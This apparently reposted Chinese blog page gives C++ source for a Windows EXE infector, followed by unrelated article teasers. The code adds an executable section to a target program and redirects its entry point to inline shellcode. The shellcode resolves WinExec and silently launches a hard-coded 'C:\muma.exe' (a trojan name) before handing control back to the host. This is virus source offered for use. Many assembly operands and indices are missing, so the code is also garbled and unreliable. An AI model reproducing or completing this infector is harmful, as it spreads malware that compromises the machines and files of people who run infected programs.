感染EXE文件代码(C++)

C++代码


#include <windows.h>   
#include <winnt.h>   
#include <stdio.h>   
#include <assert.h>   
   
#define DEBUG 1   
#define EXTRA_CODE_LENGTH 18   
#define SECTION_SIZE 0x1000   
#define SECTION_NAME ".eViLhsU"   
#define FILE_NAME_LENGTH 30   
   
int Align(int size, int ALIGN_BASE)   
{   
    int ret;   
    int result;   
   
    assert( 0 != ALIGN_BASE );     
    result = size % ALIGN_BASE;   
   
    if (0 != result) //余数不为零,也就是没有整除   
    {   
         ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE;   
    }   
    else   
    {   
         ret = size;   
    }   
   
    return ret;   
}   
   
int infect(char *sFilename)   
{   
    int i;   
    BYTE jmp;   
    FILE *pNewFile;   
    int numOfSections;   
    int FILE_ALIGN_MENT;   
    int SECTION_ALIGN_MENT;   
    int extraLengthAfterAlign;   
    int extra_data_real_length;   
   
    unsigned int newEP,oldEP;     
    char *pExtra_data;   
    char srcFileName;   
    char newFileName;   
   
    IMAGE_DOS_HEADER DosHeader;   
    IMAGE_NT_HEADERS NtHeader;   
    IMAGE_SECTION_HEADER SectionHeader;   
    IMAGE_SECTION_HEADER newSectionHeader; //新增加的节的节头   
   
        
    strcpy(newFileName,sFilename);   
    strcpy(srcFileName,newFileName);   
    strcat(srcFileName, ".bak");   
   
    if (!CopyFile(newFileName,srcFileName, FALSE))   
    {   
          printf("文件备份失败\n");   
          return 1;   
    }   
   
    pNewFile = fopen(newFileName, "rb+");     
   
    if (NULL == pNewFile)   
    {   
          printf("打开文件失败\n");   
          return 1;   
    }   
   
    fseek(pNewFile, 0, SEEK_SET);   
    //读取IMAGE_DOS_HEADER   
    fread(&DosHeader, sizeof(IMAGE_DOS_HEADER), 1, pNewFile);   
   
    if (DosHeader.e_magic != IMAGE_DOS_SIGNATURE)   
    {   
        printf("该文件不是有效的PE文件\n");   
        return 1;   
    }   
   
    //先定位到pe文件头,然后读取IMAGE_NT_HEADERS   
    fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);   
    fread(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);   
   
    if (NtHeader.Signature != IMAGE_NT_SIGNATURE)   
    {   
        printf("该文件不是有效的PE文件\n");   
        return 1;   
    }   
   
   
    numOfSections = NtHeader.FileHeader.NumberOfSections;   
    FILE_ALIGN_MENT = NtHeader.OptionalHeader.FileAlignment;   
    SECTION_ALIGN_MENT = NtHeader.OptionalHeader.SectionAlignment;   
   
    //保存原来的入口备用   
    oldEP = NtHeader.OptionalHeader.AddressOfEntryPoint;   
   
    for (i = 0; i < numOfSections; i++)   
    {   
        fread(&SectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);   
   
        printf("节:%s\n", SectionHeader.Name);                 
   
        if(strstr((const char*)SectionHeader.Name,".eViLhsU"))   
        {   
            printf("程序已经被感染!\n");     
            return 1;   
        }   
    }   
   
    extraLengthAfterAlign = Align(EXTRA_CODE_LENGTH, FILE_ALIGN_MENT);   
    NtHeader.FileHeader.NumberOfSections++;     
    memset(&newSectionHeader, 0, sizeof(IMAGE_SECTION_HEADER));   
    strncpy((char*)newSectionHeader.Name, SECTION_NAME, strlen(SECTION_NAME));     
   
    newSectionHeader.VirtualAddress = Align(SectionHeader.VirtualAddress +     
                                            SectionHeader.Misc.VirtualSize,   
                                            SECTION_ALIGN_MENT);   
   
    newSectionHeader.Misc.VirtualSize = Align(extraLengthAfterAlign, SECTION_ALIGN_MENT);   
   
    newSectionHeader.PointerToRawData = Align(   
                                              SectionHeader.PointerToRawData +   
                                              SectionHeader.SizeOfRawData,   
                                              FILE_ALIGN_MENT   
                                             );     
   
    newSectionHeader.SizeOfRawData = Align(SECTION_SIZE, FILE_ALIGN_MENT);   
    newSectionHeader.Characteristics = 0xE0000020; //可读可些可执行   
    NtHeader.OptionalHeader.SizeOfCode = Align(NtHeader.OptionalHeader.SizeOfCode     
                                       + SECTION_SIZE, FILE_ALIGN_MENT);     
    NtHeader.OptionalHeader.SizeOfImage = NtHeader.OptionalHeader.SizeOfImage+     
                                          Align(SECTION_SIZE, SECTION_ALIGN_MENT);   
    NtHeader.OptionalHeader.DataDirectory.VirtualAddress = 0;   
    NtHeader.OptionalHeader.DataDirectory.Size = 0;   
   
    fseek(pNewFile, 0, SEEK_END);   
    newEP = newSectionHeader.VirtualAddress;   
    NtHeader.OptionalHeader.AddressOfEntryPoint = newEP;   
    //定位节表尾部   
    fseek(   
          pNewFile,     
          DosHeader.e_lfanew +   
          sizeof(IMAGE_NT_HEADERS)     
          + numOfSections * sizeof(IMAGE_SECTION_HEADER),   
          SEEK_SET   
         );   
    //写入修正后的节头   
    fwrite(&newSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);   
    fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);   
    //写入修正后的PE文件头   
    fwrite(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);   
    fseek(pNewFile, 0, SEEK_END);   
   
    //写入新节,这里先写入0   
    for (i=0; i<Align(SECTION_SIZE, FILE_ALIGN_MENT); i++)   
    {   
       fputc(0, pNewFile);   
    }   
   
    fseek(pNewFile, newSectionHeader.PointerToRawData, SEEK_SET);   
   
goto GetExtraData;   
   
extra_data_start:   
_asm pushad   
//获取kernel32.dll的基址   
_asm mov eax, fs:0x30 ;PEB的地址   
_asm mov eax,    
_asm mov esi,    
_asm lodsd   
_asm mov eax, ;eax就是kernel32.dll的基址   
_asm mov edi, eax //同时保存kernel32.dll的基址到edi   
   
//通过搜索 kernel32.dll的导出表查找GetProcAddress函数的地址   
_asm mov ebp, eax   
_asm mov eax,    
_asm mov edx,    
_asm add edx, ebp   
_asm mov ecx,    
_asm mov ebx,    
_asm add ebx, ebp   
   
search:   
_asm dec ecx   
_asm mov esi,    
   
_asm add esi, ebp   
_asm mov eax, 0x50746547   
_asm cmp , eax //比较"PteG"   
_asm jne search   
_asm mov eax, 0x41636f72   
_asm cmp , eax   
_asm jne search   
_asm mov ebx,    
_asm add ebx, ebp   
_asm mov cx,    
_asm mov ebx,    
_asm add ebx, ebp   
_asm mov eax,    
_asm add eax, ebp //eax保存的就是GetProcAddress的地址   
   
//为局部变量分配空间   
_asm push ebp   
_asm sub esp, 50h   
_asm mov ebp, esp   
   
//查找LoadLibrary的地址   
_asm mov , eax //把GetProcAddress的地址保存到ebp + 40中   
   
//开始查找LoadLibrary的地址, 先构造"LoadLibrary\0"   
_asm push 0x0   
   
_asm push DWORD PTR 0x41797261   
_asm push DWORD PTR 0x7262694c   
_asm push DWORD PTR 0x64616f4c   
_asm push esp //压入"LoadLibrary\0"的地址   
_asm push edi //edi:kernel32的基址   
_asm call //返回值(即LoadLibrary的地址)保存在eax中   
_asm mov , eax //保存LoadLibrary的地址到ebp + 44h   
   
_asm push dword ptr 0x00636578   
_asm push dword ptr 0x456e6957   
_asm push esp   
_asm push edi   
_asm call          //GetProcAddress(Kernel32基止,"WinExec")   
_asm mov ,eax        //WinExec()的地址放在里   
   
_asm mov byte ptr ,43h     
_asm mov byte ptr ,3ah     
_asm mov byte ptr ,5ch     
_asm mov byte ptr ,6dh     
_asm mov byte ptr ,75h     
_asm mov byte ptr ,6dh     
_asm mov byte ptr ,61h     
_asm mov byte ptr ,2eh     
_asm mov byte ptr ,65h     
_asm mov byte ptr ,78h     
_asm mov byte ptr ,65h     
_asm mov byte ptr ,0h   
   
_asm lea edi,                  
_asm push edi                    
_asm call                
   
_asm mov esp, ebp   
_asm add esp, 50h   
_asm popad   
extra_data_end:   
   
   
GetExtraData:   
_asm pushad;   
_asm lea eax, extra_data_start;   
_asm mov pExtra_data, eax;   
_asm lea edx, extra_data_end;   
_asm sub edx, eax;   
_asm mov extra_data_real_length, edx;   
_asm popad;   
   
   
//写入附加数据   
   for (i = 0; i < extra_data_real_length; i++)   
   {   
       fputc(pExtra_data, pNewFile);   
   }   
   
   
   oldEP = oldEP - (newEP + extra_data_real_length) - 5;   
   
   jmp = 0xE9;   
   fwrite(&jmp, sizeof(jmp), 1, pNewFile);   
   fwrite(&oldEP, sizeof(oldEP), 1, pNewFile);   
   
   fclose(pNewFile);     
   
return 0;   
}   
   
BOOL AddEmptySection(char *ptFile,UINT uSize)   
{   
    HANDLE hFile = NULL;   
    HANDLE hMapping = NULL;     
    LPVOID bPointer = NULL;   
    PBYTE  pData = NULL;   
   
    hFile = CreateFile(   
        ptFile,     
        GENERIC_READ|GENERIC_WRITE,     
        FILE_SHARE_READ|FILE_SHARE_WRITE,   
        NULL,     
        OPEN_EXISTING,     
        FILE_FLAG_SEQUENTIAL_SCAN,   
        NULL);   
    if (hFile == INVALID_HANDLE_VALUE)   
    {   
        return FALSE;   
    }   
   
    DWORD dwSize = GetFileSize( hFile,NULL);   
    if( dwSize > 10000000)   
    {   
        CloseHandle(hFile);   
        return FALSE;   
    }   
        
    //内存映射,创建一个有名的共享内存   
    if (!(hMapping = CreateFileMapping(hFile,     
        0,     
        PAGE_READWRITE | SEC_COMMIT,     
        0,     
        dwSize,     
        NULL)))     
    {   
        CloseHandle(hFile);     
        return FALSE;   
    }     
   
    //映射对象视图,进行读写操作   
    if (!(bPointer = MapViewOfFile(hMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwSize)))     
    {      
        CloseHandle(hMapping);     
        CloseHandle(hFile);     
        return FALSE;     
    }     
   
    pData = (PBYTE)bPointer;   
   
    if (((PIMAGE_DOS_HEADER) pData)->e_magic != IMAGE_DOS_SIGNATURE)   
    {   
        return FALSE;   
    }   
   
    if( *(DWORD*)(((PIMAGE_DOS_HEADER) pData)->e_res2) == 841127)      
    {     
        UnmapViewOfFile(bPointer);   
        CloseHandle(hMapping);     
        CloseHandle(hFile);     
        return FALSE;   
    }   
    else   
    {   
         //设置标志   
         *(DWORD*)(((PIMAGE_DOS_HEADER) pData)->e_res2) = 841127;   
    }   
   
    PIMAGE_NT_HEADERS pNTHdr = (PIMAGE_NT_HEADERS) (pData + ((PIMAGE_DOS_HEADER) bPointer)->e_lfanew);   
    if (pNTHdr->Signature != IMAGE_NT_SIGNATURE)   
    {   
        return FALSE;   
    }   
   
    if ((pNTHdr->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) >   
        pNTHdr->OptionalHeader.SizeOfHeaders)   
    {   
        return FALSE;   
    }   
   
    DWORD uCodeDelta = Align(uSize, pNTHdr->OptionalHeader.SectionAlignment);   
    DWORD dwFileDelta = Align(uSize, pNTHdr->OptionalHeader.FileAlignment);   
    PIMAGE_SECTION_HEADER pNewSec = (PIMAGE_SECTION_HEADER) (pNTHdr + 1)     
                                  + pNTHdr->FileHeader.NumberOfSections;   
    PIMAGE_SECTION_HEADER pLastSec = pNewSec - 1;   
   
    memcpy(pNewSec->Name, ".EsT_", 5);   
    pNewSec->VirtualAddress = pLastSec->VirtualAddress + Align(pLastSec->Misc.VirtualSize,     
                                                               pNTHdr->OptionalHeader.SectionAlignment);   
    pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;   
    pNewSec->Misc.VirtualSize = uSize;   
    pNewSec->SizeOfRawData = 0;   
    pNewSec->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE ;   
   
    pNTHdr->FileHeader.NumberOfSections++;   
    pNTHdr->OptionalHeader.SizeOfCode += uCodeDelta;   
    pNTHdr->OptionalHeader.SizeOfImage += dwFileDelta;   
    pNTHdr->OptionalHeader.DataDirectory.Size = 0;   
    pNTHdr->OptionalHeader.DataDirectory.VirtualAddress = 0;   
   
    UnmapViewOfFile(bPointer);     
    CloseHandle(hMapping);   
    CloseHandle(hFile);   
    return TRUE;   
}   
   
int main(int argc, char *argv[])   
{   
   
    if (NULL == argv)   
    {   
        printf("参数错误\n");     
    }   
   
    if(infect(argv)) exit(0); //感染程序   
    AddEmptySection(argv,100);//增加空节   
   
    return 0;   
}   

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/388532.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

nlp gpt论文_GPT-3:NLP镇的最新动态

nlp gpt论文什么是GPT-3&#xff1f; (What is GPT-3?) The launch of Open AI’s 3rd generation of the pre-trained language model, GPT-3 (Generative Pre-training Transformer) has got the data science fraternity buzzing with excitement!Open AI的第三代预训练语言…

真实不装| 阿里巴巴新人上路指北

新手上路&#xff0c;总想听听前辈们分享他们走过的路。橙子选取了阿里巴巴合伙人逍遥子&#xff08;阿里巴巴集团CEO&#xff09; 、Eric&#xff08;蚂蚁金服董事长兼CEO&#xff09;、Judy&#xff08;阿里巴巴集团CPO&#xff09;的几段分享&#xff0c;他们是如何看待职场…

小程序学习总结

上个周末抽空了解了一下小程序,现在将所学所感记录以便日后翻看;需要指出的是我就粗略过了下小程序的api了解了下小程序的开发流程以及工具的使用,然后写了一个小程序的demo;在我看来,如果有前端基础学习小程序无异于锦上添花了,而我这个三年的码农虽也写过不少前端代码但离专业…

tomcat java环境配置

jsp 环境变量配置 一、配置JDK 首先&#xff0c;从Sun网站上下载jdk。 双击jdk-1_5_0_04-windows-i586-p.exe开始安装&#xff0c;默认安装到C:/Program Files/Java/jdk1.5.0_04&#xff0c;你也可以更改路径&#xff0c;但要记住最后选择的路径&#xff0c;设置环境变量的时候…

uber 数据可视化_使用R探索您在Uber上的活动:如何分析和可视化您的个人数据历史记录

uber 数据可视化Perhaps, dear reader, you are too young to remember that before, the only way to request a particular transport service such as a taxi was to raise a hand to make a signal to an available driver, who upon seeing you would stop if he was not …

java B2B2C springmvc mybatis电子商城系统(四)Ribbon

2019独角兽企业重金招聘Python工程师标准>>> 一&#xff1a;Ribbon是什么&#xff1f; Ribbon是Netflix发布的开源项目&#xff0c;主要功能是提供客户端的软件负载均衡算法&#xff0c;将Netflix的中间层服务连接在一起。Ribbon客户端组件提供一系列完善的配置项如…

c语言函数的形参有几个,C中子函数最多有几个形参

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼C89 31个&#xff0c;C99 127个。ANSI C892.2.4.1 Translation limitsThe implementation shall be able to translate and execute at least one program that contains at least one instance of every one of the following lim…

Linux上Libevent的安装

1、下载wget -O libevent-2.0.21-stable.tar.gz https://github.com/downloads/libevent/libevent/libevent-2.0.21-stable.tar.gz2、解压 tar zxvf libevent-2.0.21-stable.tar.gz3、配置安装路径 cd libevent-2.0.21-stable ./configure -prefix/usr4、编译并安装 make make …

Win7安装oracle 10 g

开始-运行-输入hdwwiz-回车 ——选则手动 ——网络适配器——左边选Microsoft&#xff0c;右边找到Microsoft Loopback Adapter ——完成 打开 控制面板\网络和 Internet\网络和共享中心 会发现多了一个本地连接 点详细信息 发现是Microsoft Loopback Adapter的。…

基于plotly数据可视化_[Plotly + Datashader]可视化大型地理空间数据集

基于plotly数据可视化简介(我们将创建的内容)&#xff1a; (Introduction (what we’ll create):) Unlike the previous tutorials in this map-based visualization series, we will be dealing with a very large dataset in this tutorial (about 2GB of lat, lon coordinat…

Centos用户和用户组管理

inux系统是一个多用户多任务的分时操作系统&#xff0c;任何一个要使用系统资源的用户&#xff0c;都必须首先向系统管理员申请一个账号&#xff0c;然后以这个账号的身份进入系统。1、添加新的用户账号使用useradd命令&#xff0c;其语法如下&#xff1a;useradd 选项 用户名-…

吹气球问题的C语言编程,C语言怎样给一个数组中的数从大到小排序

满意答案#include "stdio.h"int main(){int i,j;int a[12];for(i1; i<10; i)scanf("%d",&a[i]);for(i1; i<10; i)for(ji; j<10; j)if(a[i]{int ta[i];a[i]a[j];a[j]t;}//前十个数的排序for(i1; i<10; i)printf("%d ",a[i]);prin…

裴波那契数列

斐波那契数列&#xff1a;0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, ... 求斐波那契数列第 n 项的值&#xff1a; 方法一&#xff1a;递归 function fibonacci(n) {if (!Number.isSafeInteger(n) || n < 0) {return;}if (n 0 || n 1) {return n;} else {return fibo…

划痕实验 迁移面积自动统计_从Jupyter迁移到合作实验室

划痕实验 迁移面积自动统计If you want to use Google Colaboratory to perform your data analysis, for building data pipelines and data visualizations, here is the beginners’ guide to migrate from one tool to the other.如果您想使用Google Colaboratory进行数据分…

英法德三门语言同时达到c1,【分享】插翅而飞的孩子(转载)

微信转来的&#xff0c;觉得发人深思&#xff0c;转来这里插翅而飞的孩子(一)开篇一&#xff1a;让孩子拥有一双丰满的翅膀。作者简介&#xff1a;英华兰的Dr.Bing,德国儿童教育学博士&#xff0c;数字媒体硕士和计算机软件工程本科。精通英法德三门语言&#xff0c;从事儿童语…

数据库建表赋予权限语句

sqlplus /nologconn / as sysdba//创建临时表空间create temporary tablespace zfmi_temptempfile D:\oracle\oradata\zfmi\zfmi_temp.dbf size 32m autoextend on next 32m maxsize 2048mextent management local;//tempfile参数必须有//创建数据表空间create tablespace zfmi…

day03 基本数据类型

1.什么是数据类型 变量值即我们 存放的数据 &#xff0c;数据类型及变量值的类型 2.变量值为何要区分类型 因为变量值使用记录现实世界中事物的特征&#xff0c;针对不同的特征就应该用不同类型的值去标识 3.如何应用数据类型 一 数据类型&#xff1a; 1.整型int &#xff1a;…

美国移民局的I797表原件和I129表是什么呢

I-129表,Petition for a Non-immigrant Worker&#xff0c;即非移民工作许可申请表I797 表 &#xff0c;Original L1-1A approval notice L1签证批准通过通知表L-1签证的申请程序1. L-1签证的申请必须首先由准备调派雇员的外国母公司在美国的分支机构向移民局提出陈情申请。这些…

数据开放 数据集_除开放式清洗之外:叙述是开放数据门户的未来吗?

数据开放 数据集There is growing consensus in the open data community that the mere release of open data — that is data that can be freely accessed, remixed, and redistributed — is not enough to realize the full potential of openness. Successful open data…

单选按钮android服务器,android – 如何在radiogroup中将单选按钮设置...

我已经动态创建了RadioGroup和RadioButton,如下所示&#xff1a;RadioGroup radioGroup new RadioGroup(context);RadioButton radioBtn1 new RadioButton(context);RadioButton radioBtn2 new RadioButton(context);RadioButton radioBtn3 new RadioButton(context);radio…